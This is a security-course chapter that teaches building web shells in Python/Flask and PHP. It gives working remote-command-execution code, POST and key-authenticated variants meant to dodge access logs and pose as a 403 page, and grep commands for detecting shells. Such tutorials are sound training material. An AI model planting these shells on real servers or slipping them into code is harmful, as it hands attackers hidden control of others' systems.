Step 142. Web Shell Advanced: Writing Your Own & the Principles — Building the One-Line Door Yourself
Level 2 — Introduction to Security and Attack Skill Basics | Difficulty ★★★★☆ | Estimated time: 4 hours
Prerequisites: Step 141’s web shell concept and upload chain, Step 94’s Flask, and Step 103’s
system()knowledge.
- What you need: Python 3 + Flask + requests, a text editor, and (if you have a lab) a local web server running PHP
- ⚠️ All exercises in this chapter are for your own lab and legal platforms only. Applying them to unauthorized systems is a crime.
In Step 141 we "uploaded" a web shell. Today we build one. A web shell isn’t a mysterious hacker tool — it’s merely "a translator that executes an HTTP request’s parameter as an operating-system command." Dissect the translator’s innards line by line and even modify it into POST-style and key-authenticated variants — and you’ll see that the countless web shells floating around the internet all share the same heart, and, in reverse, how a server administrator hunts web shells down (the defense perspective).
1. Learning Objectives
By the end of this chapter, you will be able to:
- Explain a web shell’s core structure (input → execute → output) line by line
- Write a working web shell in Python and measure it on localhost
- Explain the differences between GET-style, POST-style, and key-authenticated shells and each one’s intent
- State the differences among PHP’s four execution functions (system, exec, shell_exec, passthru)
- Enumerate web shell detection clues from a defender’s perspective (file content, web logs)
2. Background Knowledge — Today’s Tools and Concepts
Today’s Tools at a Glance
| Category | Details |
|---|---|
| Language/environment | Python 3 + Flask + requests (writing it yourself + measurement), PHP for "reading" only |
| Today’s commands | subprocess.run(cmd, shell=True) (Python’s command execution), ?cmd= & form submission |
| Concepts needed | Server-side execution functions, parameter passing (GET/POST), output streams (stdout/stderr) |
| Today’s artifact | Three web shells built with your own hands + a detection-perspective summary note |
2-1. Anatomy of a Web Shell — Three Parts and Done
Every web shell has three parts.
[Input] Pull the command string out of the HTTP request (?cmd=, form field)
[Execute] Execute that string as an OS command (system-family function)
[Output] Return the execution result as the HTTP response
Even a giant file-manager-grade web shell is these three parts plus "file upload feature" and "DB connection feature" bolted on. The heart is one line. Today you’ll make that heart beat yourself.
2-2. PHP’s Four Execution Functions — Same Job, Different Output
Four functions are the representative ways to execute commands in PHP. The difference is how they return the output.
| Function | Output style |
|---|---|
system(cmd) |
Streams output straight to the screen, returns the last line |
exec(cmd, $out) |
Receives output into an array — for collecting quietly |
shell_exec(cmd) |
Returns all output as a string — great for putting in <pre> |
passthru(cmd) |
Passes output through unprocessed — suited to binary output |
A web shell author chooses by "how do I want to see the results?" The subprocess.run(cmd, shell=True, capture_output=True) we’ll use in Python is closest to shell_exec — it takes all output and packs it into the response.
2-3. GET vs POST — The Difference in What Stays in Logs
Send a command via GET like ?cmd=whoami, and the web server access log records the command verbatim: GET /shell.php?cmd=whoami. Send it via POST, and the log holds only POST /shell.php, with the command inside the request body. Why attackers prefer the POST style, and why defenders must know "logs alone can’t see it."
2-4. The Detection Perspective — What Does a Defender Look At?
A server administrator’s clues for finding web shells come in roughly two kinds.
- File content: search files under the web root for appearances of dangerous functions like
system(,exec(,shell_exec(,eval(,base64_decode( - Web logs: requests hitting files in the upload folder, oddly long
cmd=parameters, POST requests that never used to happen
Attacker obfuscation (splitting function names, encoding) is an attempt to dodge these searches. Those who can build are the ones who design detection.
3. Follow Along
Everything today is locally measured. The principle is completely identical even without a PHP web server — let’s build it in Python. (This text was measured 2026-09-09 on Windows + Flask 3.1.3.)
3-1. The Basic Web Shell — Remote Command Execution in 5 Lines
Input (myshell.py)
import subprocess
from flask import Flask, request
app = Flask(__name__)
@app.route("/shell")
def shell():
cmd = request.args.get("cmd", "") # [Input] pull the ?cmd= value
out = subprocess.run(cmd, shell=True, capture_output=True, text=True) # [Execute]
return f"<pre>{out.stdout}{out.stderr}</pre>" # [Output] stdout+stderr as the response
app.run(port=8340)
How to read it: can you see the three parts exactly? request.args.get is input, subprocess.run(..., shell=True) is execution, return f"<pre>..." is output. shell=True means handing the command string whole to the OS’s shell (cmd.exe on Windows) — the same structure as PHP’s system() handing off to /bin/sh -c (Step 103). <pre> is a tag that preserves line breaks, so command output comes out readable.
Caution: this file is an educational vulnerable program. Run it on 127.0.0.1 only, and kill it when done. Never upload it to a real server.
3-2. Measuring the Basic Shell — The Browser Becomes a Terminal
Start the server and send commands (typing http://127.0.0.1:8340/shell?cmd=echo pwned-by-webshell in the browser address bar does the same).
Input
import requests
r = requests.get("http://127.0.0.1:8340/shell", params={"cmd": "echo pwned-by-webshell"})
print(r.text)
r = requests.get("http://127.0.0.1:8340/shell", params={"cmd": "whoami"})
print(r.text)
Output (measured 2026-09-09):
<pre>pwned-by-webshell
</pre>
<pre>dlqht
</pre>
(The last line is the practice PC’s username — on your machine your own name will appear. On a Linux lab, something like www-data.)
How to read it: one HTTP request became a command execution on the server (right now, your PC). The account whoami returned is exactly this web shell’s authority — the web server process’s account. A reconfirmation of the "authority you gain = the service’s run account" law you saw in Steps 120 and 141. These five lines are the ancestor of every web shell in the world.
3-3. Modification 1: POST-Style — Leaving No Command in Logs
Input (add to myshell.py)
@app.route("/shell2", methods=["POST"])
def shell_post():
cmd = request.form.get("cmd", "") # pull from the form body instead of GET
out = subprocess.run(cmd + " 2>&1", shell=True, capture_output=True, text=True)
return f"<pre>{out.stdout}</pre>"
Input (experiment)
import requests
r = requests.post("http://127.0.0.1:8340/shell2", data={"cmd": "echo post-mode && ver"})
print(r.text)
Output (measured 2026-09-09):
<pre>post-mode
Microsoft Windows [Version 10.0.26200.9168]
</pre>
How to read it: two modifications went in. ① request.form — the command travels in the request body, not the URL. The server log holds only POST /shell2; the cmd is invisible. ② 2>&1 — merges error output (stderr) into standard output (stdout). Thanks to that, error messages from bad commands are visible on screen too (confirmed in 3-5). && is "if the first command succeeds, run the next" — you can also see shell syntax working as-is.
3-4. Modification 2: Key-Authenticated — A Door Only I Use
A discovered web shell can be used by third parties too. So real-world web shells usually carry a makeshift key.
Input (add to myshell.py)
@app.route("/shell3")
def shell_key():
if request.args.get("k") != "my-secret-key": # deny if the key is missing or wrong
return "403 Forbidden", 403
cmd = request.args.get("cmd", "")
out = subprocess.run(cmd, shell=True, capture_output=True, text=True)
return f"<pre>{out.stdout}{out.stderr}</pre>"
Input (experiment)
import requests
r = requests.get("http://127.0.0.1:8340/shell3", params={"cmd": "echo hi"})
print("No key:", r.status_code, r.text)
r = requests.get("http://127.0.0.1:8340/shell3", params={"k": "my-secret-key", "cmd": "echo hi"})
print("With key:", r.status_code, r.text)
Output (measured 2026-09-09):
No key: 403 403 Forbidden
With key: 200 <pre>hi
</pre>
How to read it: without the key, it poses as an ordinary 403 page. Camouflage to delay discovery. In PHP it’s if($_GET["k"]!="my-key") die(); — exactly that syntax you read in Step 103. From the defender’s perspective, "a secret-string comparison inside a web file" is itself a detection clue.
3-5. Modification 3: Making Errors Visible — Proving 2>&1
Input
import requests
r = requests.get("http://127.0.0.1:8340/shell", params={"cmd": "no_such_command_xyz"})
print(r.text)
Output (measured 2026-09-09, Korean Windows):
<pre>'no_such_command_xyz' is not recognized as an internal or external command,
operable program or batch file.
</pre>
How to read it: errors come out on stderr, not stdout. Our basic version showed both concatenated (out.stdout + out.stderr); the POST version merged them at the shell stage with 2>&1. If errors aren’t visible in a web shell, you can’t tell "is the command missing, or is permission missing?" — frustrating even for the attacker. That’s why real-world web shells always have an error-recovery device. On Korean Windows the error comes out in Korean as above — different message, same principle.
3-6. Translating to PHP — Confirming the Same Heart
Translated to PHP, our three versions look like this (if you have a PHP server in your lab, save and test):
<?php
// Basic
echo "<pre>" . shell_exec($_GET["cmd"] . " 2>&1") . "</pre>";
// Key-authenticated
if ($_GET["k"] != "my-secret-key") { http_response_code(403); die(); }
// POST-style — $cmd = $_POST["cmd"];
?>
How to read it: it corresponds to the Python version line by line. shell_exec = subprocess.run(..., capture_output=True), $_GET = request.args, die() = early termination. Change the language and the web shell’s heart stays the same. If you can draw this correspondence table, you can read a web shell in an unfamiliar language.
3-7. Flipping to the Defender — If I Were Hunting My Own Web Shell
Now that we’ve built one, let’s think in reverse. If this were hiding on my server, how would I find it?
[File search] Search the web root for dangerous functions:
grep -rn "system(\|shell_exec(\|passthru(\|eval(" /var/www/html
[Log search] Requests to upload-folder files, long cmd parameters:
grep "uploads/" /var/log/apache2/access.log
[Root defense] Disable execution in upload folders (Step 141) + web root file-integrity monitoring
Only someone who has built the attack tool themselves knows "where it would be hidden," and the one who knows the hiding places writes the search rules. That’s why today’s practice is defense skill.
4. Missions & Exercises
Mission — My Three Web Shells and a Commentary
- Write the 3-1 basic version and attach the measured
whoamiandechooutputs to your write-up - Add the POST-style and key-authenticated versions, reproduce the 3-3 and 3-4 experiments, and attach the outputs
- Build a commentary by annotating all three versions with "what this line does" comments, leaving no line bare
- Complete 3-6’s PHP correspondence table (Python ↔ PHP function pairs)
- Following 3-7, write two "search commands for finding web shells on my server" yourself
Exercises
Exercise 1. State which lines of our Python code handle the web shell’s three parts (input, execute, output).
Exercise 2. Explain from the server-log perspective why POST-style is more advantageous to an attacker than GET-style.
Exercise 3. What inconvenience arises in a web shell without 2>&1?
Exercise 4. State the output-style difference between system() and shell_exec(), and explain when a web shell author would choose shell_exec.
5. Model Answers & Completion Criteria
Mission Model Answer
Measurement record example (as of 2026-09-09):
[Basic] cmd=echo pwned-by-webshell -> <pre>pwned-by-webshell</pre>
[POST] echo post-mode && ver -> post-mode + Windows version output
[Key-auth] No key: 403 Forbidden / With key: 200
Function correspondence table example:
| Python | PHP | Role |
|---|---|---|
request.args.get("cmd") |
$_GET["cmd"] |
Pulling input |
subprocess.run(..., shell=True, capture_output=True) |
shell_exec() |
Execution + output collection |
return f"<pre>...</pre>" |
echo "<pre>..." |
Sending output |
Key check then return ..., 403 |
if(...) die(); |
Makeshift authentication |
How to verify: ① do all three versions actually execute commands and return results? ② is a keyless request a 403? ③ is the commentary annotated with no line left bare? ④ does each pair in the correspondence table match the actual code?
Exercise Answers
Answer 1. Input is cmd = request.args.get("cmd", ""), execution is subprocess.run(cmd, shell=True, ...), output is return f"<pre>{out.stdout}...</pre>". Find these three roles and the structure reads, whatever the web shell’s language.
Answer 2. With GET, the command rides in the URL, and the web server access log records request URLs — ?cmd=... stays verbatim. A POST body isn’t recorded in default access logs, so the log holds only POST /shell2. Reducing traces is the attacker’s intent. (Though it’s useless before audit logs or WAFs that record bodies too.)
Answer 3. When a command fails, you can’t learn the cause (no such command, no permission, wrong path). If only success output shows, failure is just a "blank screen," and you can’t decide your next attempt. Hence merging errors into stdout with 2>&1 to recover them on screen (making even Korean error messages visible, as in the 3-5 measurement).
Answer 4. system() streams output straight to the screen and returns only the last line; shell_exec() returns all output as a string. When you want to pack output into <pre>, or process and store it — that is, when you must assemble results into a response like a web shell does — shell_exec fits.
Completion Criteria Checklist
- [ ] I can point to the web shell’s three parts — input → execute → output — in code
- [ ] I wrote a Python web shell myself and measured command execution on localhost
- [ ] I can explain the log difference between GET-style and POST-style
- [ ] I can explain the key-authenticated version’s intent (blocking third parties + camouflage)
- [ ] I can state the differences among PHP’s 4 execution functions
- [ ] I can enumerate the defender’s detection clues (file content, logs)
- [ ] I re-confirmed that this practice is for my own lab only
6. Common Pitfalls & Fixes
Wall 1. I started the server but can’t connect
Symptom: "can’t connect to this site" in the browser.
Cause: the server process didn’t start, you already killed it, or you typed a different port.
Fix: check that the terminal running the server shows Running on http://127.0.0.1:8340. Don’t forget to Ctrl+C to terminate when practice ends.
Wall 2. The command runs but the output is empty
Symptom: 200, but the screen is an empty <pre></pre>.
Cause: ① the command errored and stderr isn’t shown, or ② the command inherently has no output (mkdir, etc.).
Fix: recover stderr too, as in 3-5. For output-less commands, append && echo done to check success.
Wall 3. Korean output comes out garbled
Symptom: error messages appear as broken characters.
Cause: a mismatch between Windows’ command-output encoding (cp949) and the web response encoding (UTF-8).
Fix: in Python, one method is to receive bytes instead of text=True and use .decode("cp949", errors="replace"). Even garbled, the command execution itself is fine — only the message form differs.
Wall 4. Commands with spaces get cut
Symptom: ?cmd=echo hello world behaves oddly.
Cause: putting spaces/special characters raw in a URL breaks the rules. Browsers usually encode for you, but when sending with tools you must handle it yourself.
Fix: use requests‘ params= and it auto-encodes. When building a URL by hand, replace spaces with %20. On the server side, the web server decodes and hands the original string back in cmd.
Wall 5. I forgot I made a web shell and shared the whole folder
Symptom: you shared a study folder with a colleague and myshell.py was included.
Cause: missed cleanup.
Fix: a web shell is "code that opens a door." Delete it after practice, or at minimum keep it only in a 127.0.0.1-only, practice-only folder. The moment it lands on a public repository like GitHub, anyone can abuse that file as-is.
7. Summary
Today’s Concepts
| Concept | One-line explanation |
|---|---|
| Web shell’s three parts | Input (parameter) → execute (system family) → output (response assembly) |
shell=True |
Hands the command string whole to the OS shell — same structure as PHP system() |
shell_exec |
All output as a string — suited to a web shell’s output collection |
| POST-style | Commands travel in the request body — no command left in access logs |
| Key-authenticated | Blocks third parties with a makeshift password + poses as ordinary |
2>&1 |
Error output into standard output — recovering the cause of failure |
| Detection clues | Dangerous-function searches (files) + suspicious parameters (logs) |
Today’s Commands & Code
| Command/code | What it does |
|---|---|
subprocess.run(cmd, shell=True, capture_output=True) |
The Python command-execution heart |
request.args.get("cmd") / request.form.get("cmd") |
Pulling GET / POST input |
<?php echo shell_exec($_GET["cmd"]); ?> |
The PHP one-line web shell |
if ($_GET["k"]!="key") die(); |
PHP makeshift authentication |
grep -rn "system(" /var/www/html |
Defense: searching the web root for dangerous functions |
An Instinct More Important Than Commands
Today’s key sentence is "a web shell is a translator — one that carries HTTP into OS commands." You now know in your body that five lines suffice, so even a several-hundred-line web shell no longer intimidates. You just find the three parts and read.
And you’ve gained the maker’s eye. Searching for dangerous functions, suspecting requests to upload folders, being wary of POSTs that leave nothing in logs — defense is the mirror image of attack. In the next Step 143, you’ll see a path where even without a web shell, one ordinary server feature reaches the same conclusion: remote command execution.
Once every box is checked, Step 142 is complete. Click the checkbox in the sidebar to save your progress.